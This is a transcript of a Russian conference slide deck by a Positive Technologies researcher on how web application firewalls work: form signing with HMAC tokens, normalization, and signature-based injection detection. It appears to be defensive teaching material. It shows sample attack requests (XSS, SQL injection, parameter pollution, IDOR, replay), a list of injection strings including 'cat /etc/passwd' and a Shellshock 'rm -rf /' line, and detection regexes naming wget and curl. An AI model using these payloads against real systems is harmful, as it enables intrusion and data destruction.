Кто сказал «WAF»?

138
ptsecurity .com Кто сказал «WAF»? Руководитель группы исследований технологий защиты Positive Technologies Денис Колегов

Transcript of Кто сказал «WAF»?

Page 1: Кто сказал «WAF»?

Заголовок

ptsecurity.com

Кто сказал «WAF»?Руководитель группы исследований технологий защиты Positive TechnologiesДенис Колегов

Page 2: Кто сказал «WAF»?

Заголовок

• Руководитель группы исследований технологий защиты

• Доцент, к. т. н., доцент кафедры защиты информации и криптографии ТГУ

• https://twitter.com/dnkolegov

[email protected]

# whoami

Page 3: Кто сказал «WAF»?

Заголовок

• Введение

• Теория WAF

• Механизмы защиты WAF• Аутентификация веб-форм• Обнаружение инъекций• Встроенное распознавание

# План

Page 4: Кто сказал «WAF»?

Заголовок

Введение

Page 5: Кто сказал «WAF»?

Заголовок

Веб-приложение – клиент-серверное приложение, в котором клиентом является веб-браузер, сервером – веб-сервер, а протоколом взаимодействия между ними – веб-протокол

Базовый состав• Веб-браузер• Веб-сервер / Сервер приложений• СУБД

Определение

Page 6: Кто сказал «WAF»?

ЗаголовокКак работает веб-приложение

GET / HTTP/1.1Host: www.example.comConnection: closeHTTP/1.1 200 OKServer: nginxContent-Type: text/htmlContent-Length: 51Date: Mon, 29 Aug 2016 10:36:58 GMTConnection: close

<!DOCTYPE html><html><body><h1>Hello, World!</h1></body></html>

Page 7: Кто сказал «WAF»?

Заголовок

Огромное количество технологий и их реализаций

Простота использования

Доступность и распространенность

Низкий порог входа• Для разработчиков• Для пентестеров / баг-хантеров• Для злоумышленников

Особенности

Page 8: Кто сказал «WAF»?

Заголовок

В 1990-х годах активно используется принцип внешнего монитора безопасности

Текущий подход: разрабатывать приложения защищенными, а не полагаться на внешние механизмы защиты

Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при этом с ума

Как правильно защищать приложения?

Page 9: Кто сказал «WAF»?

Заголовок

Необходимо построить многоуровневую защиту

В принципе невозможно устранить уязвимость в самом приложении• Legacy

• Third-party

Необходимый механизм защиты отсутствует или сложно реализуем• Защита от подбора паролей

• Управление доступом

• Защита от нежелательной автоматизации

Необходимо немедленно устранить обнаруженную уязвимость до ее реального устранения в исходном коде

А что если …?

Page 10: Кто сказал «WAF»?

Заголовок

Теория WAF

Page 11: Кто сказал «WAF»?

Заголовок

• An appliance, server plugin, or filter that applies a set of rules to an HTTP conversation

• A security solution on the web application level which does not depend on the application itself

• A security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components

Что такое WAF?

Web Application Firewall Evaluation Criteria

Page 12: Кто сказал «WAF»?

ЗаголовокКлассический WAF

Page 13: Кто сказал «WAF»?

Заголовок

Обнаружение (detection) атак• Первичная валидация данных (методы, длина запроса, длина и число заголовков, …)• Обнаружение инъекций

Ослабление (mitigation) атак, от которых трудно защититься• Проверка на соответствие RFC• Аутентификация сообщений• Шифрование (URL, скрытых полей)• Маскирование• Блокирование IP, пользователя, завершение сессии

Предотвращение (prevention) – предотвращение использования обнаруженных уязвимостей

• Виртуальный патчинг

Компоненты

Page 14: Кто сказал «WAF»?

Заголовок

Теория• Теория формальных языков• LangSec

Практика• Модель черного ящика• Множество технологий• Отсутствие стандартов• Развитие клиентских частей веб-приложений

Источники ограничений

Page 15: Кто сказал «WAF»?

Заголовок

Входные данные – формальный язык

WAF – универсальный распознаватель (recognizer) языков атак на веб-приложения

Можно распознать эквивалентный или менее мощный язык

Теория формальных языков

Грамматика Распознаватель

Типа 0 Машина Тьюринга

Контекстно-зависимая Линейно-ограниченный автомат

Недетерминированная контекстно-свободная

Недетерминированный автомат с магазинной памятью

Детерминированная контекстно-свободная

Недетерминированный автомат с магазинной памятью

Регулярная Конечный автомат LangSec: Language-theoretic security

Page 16: Кто сказал «WAF»?

Заголовок

Недостаточное (неэффективное) распознавание (insufficient recognition)

• Распознавание КС-языка с помощью регулярного выражения

Различимость парсеров (parser differentials)• Одни и те же входные данные распознаются парсерами по-разному

Входные данные сложнее чем детерминированный контекстно-свободный язык

Теория формальных языков

M. Patterson, S. Bratus, etc. The Seven Turrets of Babel: A Taxonomy of LangSec Errors and How to Expunge Them

Page 17: Кто сказал «WAF»?

Заголовок

Веб-приложение для WAF – это просто последовательность запросов и / или ответов

Непонимание контекста

Непонимание логики взаимодействия• Боты• Взлом аккаунта• Злоупотребления (abuse / misuse)

Модель черного ящика

Page 18: Кто сказал «WAF»?

Заголовок

• HTTP (0.9, 1.0, 1.1, 1.2), WebSockets• SSL (2.0, 3.0), TLS (1.0, 1.1, 1.2, 1.3), HSTS, HPKP, OCSP• Load Balancers: F5 BIG-IP, Citrix NetScaler, …• Web-servers: Apache, Nginx, IIS, GWS, …• Frameworks: ASP.NET, RoR, Django, Symfony, GWT, ExpressJS, …• SQL Databases: MySQL, MS SQL, PostgreSQL, Oracle, …• noSQL «Databases»: MongoDB, ElasticSearch, Redis, …• Browsers: Chrome, IE, Opera, Firefox, Safari, Yandex Browser, …• JavaScript libraries: jQuery, lodash, …• JavaScript Frameworks: Angular, React, Ext.js, Ember.js, …• HTML, CSS, XML/SOAP, JSON

Множество технологий

Page 19: Кто сказал «WAF»?

Заголовок

Минута из жизни WAF

Page 20: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 21: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

CATS /app?pageId=1 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 22: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 23: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=<svg/onload=alert(1)> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAcunetix-Product: WVS/7 (Acunetix Web Vulnerability Scanner – NORMAL)Acunetix-Scanning-agreement: Third Party Scanning PROHIBITEDAcunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 24: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 25: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 403 ForbiddenServer: waf.example.comContent-Type: text/html; charset=utf-8Content-Length: 9Connection: close

Forbidden

Page 26: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 27: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

function getID(request) {      var rawID = request.getValue('id');      var id = hexdecode(base64decode(rawID));    return id;  }

// rawID = 50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d// id = <script>alert(1)</script>

Исходный код

Page 28: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app/?id=50484e6a636d6c776444356862475679644367784b54777663324e796158423050673d3d HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 0Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

<script>alert(1)</script>

Page 29: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

a({"c":"[email protected]"})

Page 30: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?pageId=a HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

a({"c":"[email protected]"})

Page 31: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 32: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /app?page=1&page=<script>alert(1)</script> HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 33: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 34: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

POST /download?document_id=1123123&user_id=234123423 HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

Page 35: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /delete_account HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

Page 36: Кто сказал «WAF»?

ЗаголовокМинута из жизни WAF

GET /delete_account HTTP/1.1Host: example.comConnection: closeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36Accept-Encoding: gzip, deflate, sdchAccept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10

HTTP/1.1 200 OKX-XSS-Protection: 1Content-Type: text/html; charset=utf-8Date: Wed, 15 Jun 2016 12:34:25 GMTContent-Length: 26Connection: close

Page 37: Кто сказал «WAF»?

Заголовок

Механизмы защиты WAF

Page 38: Кто сказал «WAF»?

Заголовок

Аутентификация веб-форм

Page 39: Кто сказал «WAF»?

ЗаголовокВ чем проблема?

<html><body> <form action="update" method="POST">    <input type="hidden" name="price" value="100">    <input type="hidden" name="role" value="user">    <input type="text" name="quantity" value="">    <input type="text" name="email" value="[email protected]">     <input type="submit" value="Send"> </form></body></html>POST /update HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencoded

price=100&role=user&quantity=1&[email protected]

Page 40: Кто сказал «WAF»?

Заголовок

• CSRF

• SSRF

• Injections (SQLi, XSS, Open Redirect, …)

• Access Control Attacks (IDOR)

• Business Logic

Форма одна, атак много…

Page 41: Кто сказал «WAF»?

ЗаголовокПример

Page 42: Кто сказал «WAF»?

Заголовок

«Подписи запросов» API• Yahoo, Amazon S3, Facebook

ASP.NET Framework• Event Validation• View State MAC

WAF• ModSecurity: HMAC Token Protection• F5 Networks ASM: Dynamic Content Value• Citrix NetScaler: Form Signature• PT AF: Form Sign

Механизм защиты

Page 43: Кто сказал «WAF»?

Заголовок

Client ← Server: p, h(k, p)Client → Server: p', h(k, p)Server: h(k, p) = h(k, p')

Параметры:• h – функция HMAC• p – значение параметра• k – секретный ключ сервера

Элементарный протокол

Page 44: Кто сказал «WAF»?

ЗаголовокЭлементарный протокол

<html><body> <form action="update" method="POST">    <input type="text" name="p" value="100">    <input type="submit" value="Send"> </form></body></html>POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencoded

price=100

Page 45: Кто сказал «WAF»?

Заголовок

Содержание в формах большого количества полей

Различное представление форм для различных клиентов

Наличие в формах опциональных элементов• Checkbox• Option• Radio

Идентификация защищаемых форм в HTTP-ответах

Идентификация скрытых элементов форм в HTTP-запросах

Ввод данных на стороне клиента

Сложности на практике

Page 46: Кто сказал «WAF»?

Заголовок

Client ← Server: p, h(k, p)Client → Server: p', h(k, p)Server: h(k, p) = h(k, p')

Как использовать этот протокол если значение p формируется в браузере на основе ввода пользователя?

Ввод данных на стороне клиента

Page 47: Кто сказал «WAF»?

Заголовок

Client ← Server: p, h(k, Tr(p, regex))Client → Server: p', h(k, Tr(p, regex))Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex))

Параметры:• regex – валидирующее регулярное выражение для значения параметра• Tr(s, regex) – операция удаления из строки s подстрок, соответствующих

regex• Tr("abc123", "[a-z]+" ) = "123"

Валидирующее хэширование

keystring

regex RHMAC of L(R)

Page 48: Кто сказал «WAF»?

Заголовок

1. Построение Authentication Base String (ABS)• Method• URL• Идентификатор сессии• Параметры

• Имя• [Значение]• [Тип]

Метод вычисления токена

Page 49: Кто сказал «WAF»?

Заголовок

2. Построение контейнеров формы• Контейнер скрытых полей - HFC

HFC = {hp1_name, …, hpM_name}

• Контейнер опциональных полей - OFCOFC = { {op1_name, op1_value1, …, op1_valueN1}, …, {opL_name, opL_value1, …, opL_valueNL}}

Метод вычисления токена

Page 50: Кто сказал «WAF»?

Заголовок

3. Вычисление подписи

signature = HMAC(k, HFC · OFC · HMAC(k, ABS, time))• k – секретный ключ• time – текущее значение времени

Метод вычисления токена

Page 51: Кто сказал «WAF»?

Заголовок

1. Парсинг входящего HTTP-запроса

2. Проверка метода запроса

3. Проверка наличия токена

4. Для POST-запроса по полученному URL выполняется поиск политики

5. Если политика найдена, то распаковываются данные из токена

6. Проверка опциональных и скрытых полей, если они есть

7. Формирование ABS и его проверка

Метод проверки токена

Page 52: Кто сказал «WAF»?

Заголовок

• Нельзя защитить формы, динамически сгенерированные на стороне клиента средствами JavaScript

• Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX

• Нельзя защитить формы, отправляемые на сервер методом GET

Ограничения метода

Page 53: Кто сказал «WAF»?

Заголовок

• Защита приложения от анализа

• Уменьшение поверхности атак на приложение

• Противодействие средствам автоматизации

• Предотвращение использования эксплойтов

Результаты

Page 54: Кто сказал «WAF»?

ЗаголовокПример: исходная форма

<html><body> <form action="update" method="POST">    <input type="hidden" name="price" value="100">    <input type="hidden" name="role" value="user">    <input type="text" name="quantity" value="1">    <input type="text" name="email" value="[email protected]"></form></body></html>

Page 55: Кто сказал «WAF»?

ЗаголовокПример: описание языка

<html><body> <form action="update" method="POST">    <input type="hidden" name="price" value="100">    <input type="hidden" name="role" value="user">    <input type="text" name="quantity" value="1">    <input type="text" name="email" value="[email protected]"></form></body></html>

Регулярный язык: \d\d*

Page 56: Кто сказал «WAF»?

ЗаголовокПример: генерация токена

ABS = base64("#POST#/update#price:100:&role:user:&quantity::#")

HFC = "#price#role"

signature = HMAC(k, HFC · HMAC(k, ABS, time))

token = base64(HFC · signature · time)

Page 57: Кто сказал «WAF»?

ЗаголовокПример: новая форма

<html><body> <form action="update" method="POST">    <input type="hidden" name="price" value="100">    <input type="hidden" name="role" value="user">    <input type="text" name="quantity" value="1">    <input type="text" name="email" value="[email protected]">    <input type="hidden" name="token" value="2341234123…"> </form></body></html>

Page 58: Кто сказал «WAF»?

ЗаголовокПример: аутентичный запрос

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&[email protected]&token=2341234123…

Page 59: Кто сказал «WAF»?

ЗаголовокПример: атака CSRF

POST /delete HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&[email protected]&token=

Page 60: Кто сказал «WAF»?

ЗаголовокПример: атака повтора

POST /admin/delete_account HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=43538475283745823748572345374527345 user=100001&token=2341234123…

Page 61: Кто сказал «WAF»?

ЗаголовокПример: атака на бизнес-логику

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=-100&quantity=2&role=user&[email protected]&token=2341234123…

Page 62: Кто сказал «WAF»?

ЗаголовокПример: атака HPP

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&price=-100&token=2341234123…

Page 63: Кто сказал «WAF»?

ЗаголовокПример: атака IDOR

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=admin&[email protected]&token=2341234123…

Page 64: Кто сказал «WAF»?

ЗаголовокПример: атака XSS

POST /update HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…

Page 65: Кто сказал «WAF»?

Заголовок

Обнаружение инъекций

Page 66: Кто сказал «WAF»?

Заголовок

Normalization

Negative security model (Blacklisting)• Signature-based (regular expressions, text)• Rule-based• Syntax-based

Positive security model (Whitelisting)• Static Profiling• Dynamic Profiling• Machine learning

Механика обнаружения инъекций

Web Application Firewall Evaluation Criteria

Page 67: Кто сказал «WAF»?

Заголовок

Основной признак инъекции

Page 68: Кто сказал «WAF»?

Заголовок

Алгоритм формирования выходных данных DOUTPUT на основе входных данных DINPUT уязвим к атаке инъекции, если дерево разбора (parse tree) для DOUTPUT зависит от DINPUT

Признак уязвимости к инъекции

Page 69: Кто сказал «WAF»?

ЗаголовокПример

http://example.com/foo.html#1

http://example.com/foo.html#1;alert(1);

var input = location.hash.slice(1);  document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>");  

<script> var foo = 1;alert(1); <script>  

<script> var foo = 1; <script>  

Page 70: Кто сказал «WAF»?

ЗаголовокПример

var foo = 1;

var foo = 1; alert(1);

Page 71: Кто сказал «WAF»?

Заголовок

SQL: id=42' or 1=1-- -

HTML: 111"><a href = "//evil.com">

JavaScript: 1"; alert(document.domain);//

Shell Command Injection: 192.168.10.1 && cat /etc/passwd

LDAP Injection: admin)|((userpassword=*)

XPath Injection: user' or name()='admin' or 'x'='y

Shellshock: test () { :; }; rm –rf /

Примеры инъекций

Page 72: Кто сказал «WAF»?

Заголовок

Нормализация

Page 73: Кто сказал «WAF»?

Заголовок

Нормализация – процесс преобразования данных к формату защищаемого веб-приложения

Цель – устранение недостатка типа Differential Parsing

Кодирование• URL decoding• Null-byte string termination• BASE64 decoding• HTML entities decoding• IIS-specific Unicode encoding• Double encoding

Парсинг• URL Path• HTTP Parameters• Hostname

Нормализация

Page 74: Кто сказал «WAF»?

ЗаголовокПример

GET /update?id=1+union+select+1/* HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475

Page 75: Кто сказал «WAF»?

ЗаголовокПример

GET /update?id=1;select+1&id=2,3# HTTP/1.1Host: server.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Cookie: session=38475238453847523847523847583475238475 ASP.NET/IIS

id = 1;SELECT 1,2,3 #

PHP/Apache

id = 2,3 #

Page 76: Кто сказал «WAF»?

ЗаголовокОбработка Path

Page 77: Кто сказал «WAF»?

ЗаголовокHTTP Parameter Pollution

Page 78: Кто сказал «WAF»?

ЗаголовокHTTP Parameter Contamination

Page 79: Кто сказал «WAF»?

Заголовок

Основные принципы нормализации

• Приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение

• Эквивалентный парсинг

T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998.

Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls.

Нормализация

Page 80: Кто сказал «WAF»?

Заголовок

Negative Security Model

Page 81: Кто сказал «WAF»?

Заголовок

Лексический подход (регулярные выражения)

Лексико-сигнатурный подход • libinjection (Nick Galbreath)

Синтаксический подход (parsing-based)• libdetection (Wallarm)• waf.js (Positive Technologies)• Indexed Syntax Graph (Shape Security)

Negative Security Model

Page 82: Кто сказал «WAF»?

Заголовок

Лексический подход

Page 83: Кто сказал «WAF»?

Заголовок

Использование регулярных выражений (конечных автоматов) для распознавания регулярного языка атак

Имеется L – регулярный язык атак, заданный регулярными выражениями R

Если входное слово принадлежит языку L, т. е. допускается регулярным выражением из R, то входное слово – атака

Лексический подход

Page 84: Кто сказал «WAF»?

ЗаголовокЛексический подход

(?:\/[^\?\/]+\.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:\;[^\?\/]*)?\?)|\?.+\=.*(?:(?:ActiveXObject|CreateObject|Exec)\((?:"|')|\((?:'|")WScript\.Shell)

LDAP Search Filter Injection(?:\((?:\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\b\W*?=|[^\w\x80-\xFF]*?[\!\&\|][^\w\x80-\xFF]*?\()|\)[^\w\x80-\xFF]*?\([^\w\x80-\xFF]*?[\!\&\|])

Reflected File Download

SSRF(gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress\.zlib|glob|data):\/\/

(?i:(?:[\;\|\`]\W*?\bcc|\b(wget|curl))\b|\/cc(?:[\'\"\|\;\`\-\s]|$))

OS Command Injection

SSI Injection<!--\W*?#\W*?(?:e(?:cho|xec)|printenv|include|cmd)

Page 85: Кто сказал «WAF»?

ЗаголовокЛексический подход

Reflected File Download

Page 86: Кто сказал «WAF»?

ЗаголовокЛексический подход

